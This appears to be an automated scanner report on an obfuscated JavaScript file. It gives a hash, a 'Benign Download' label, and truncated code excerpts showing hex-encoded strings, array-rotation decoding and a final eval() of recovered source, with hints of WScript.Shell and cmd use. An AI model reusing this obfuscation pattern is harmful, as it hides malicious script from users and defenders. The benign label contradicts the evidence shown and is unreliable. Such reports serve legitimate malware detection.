Benign Download

24c4e05a48650b879bf0a82e6c138bb0

Encoded eval() callObfuscated WScript.Quit call

SHA-25634a6fb408094f882f048bd7905b0e7208e0a7e1e2816f5cde975bcc1d21b28e6

Evidence

Encoded eval() call line 1

1var _0x1d75=['\x65\x63\x74','\x72\x69\x70','\x4f\x62\x6a','\x5c\x63\x6d','\x43\x72\x65','\x6d\x33\x32','\x53\x70\x65','\x6e\x76\x69','\x6f\x74\x25','\x6d\x65\x6e','\x6d\x52\x6f','\x67\x74\x68','\x25\x53\x79','\x57\x53\x63','\x72\x6f\x6e','\x73\x74\x65','\x2e\x53\x68','\x5c\x73\x79','\x43\x6f\x6 …

Hex arithmetic in string operations line 1

1:317… 4a,_0x1d75db){var _0x52ebbe=function(_0x189fc6){while(--_0x189fc6){_0x3d744a['push'](_0x3d744a['shift']());}};_0x52ebbe(++_0x1d75db);}(_0x1d75,0x166));var _0x52eb=function(_0x3d744a,_0x1d75db){_0x3d744a=_0x3d744a-0x0;var _0x52ebbe=_0x1d75[_0x3d744a];return _0x52ebbe;};var _wscript=_0x52eb('\x30\x78\x31\x30')+_0x52eb('\x30\x78\x34')+'\x74';zzz …

0x3f hex byte token line 1

1:4184… x14,0x1f,0xc,0x3,0x19,0x3,0xc,0xc,0xf,0x37,0x10,0x0,0x1,0x2,0x3,0x3f,0x9,0x3,0xb,0x3,0xc,0x20,0x9,0xc,0x3,0x19,0x3,0xc,0xc,0xf,0x37,0x10,0x0,0x1,0x2,0x3,0xe,0xa,0x2e,0x3,0xb,0x3,0xc,0x6,0x14,0xa,0 …

Calls eval on recovered source line 1

1:82662… x22,0x18,0x1c,0xf,0x37,0x10,0x34,0xf];var Bk5='';for(var Mc7=0x0;Mc7<Sm['\x6c\x65\x6e'+_0x52eb('\x30\x78\x65')];Mc7++){Bk5+=UGc3[Sm[Mc7]];}eval(Bk5);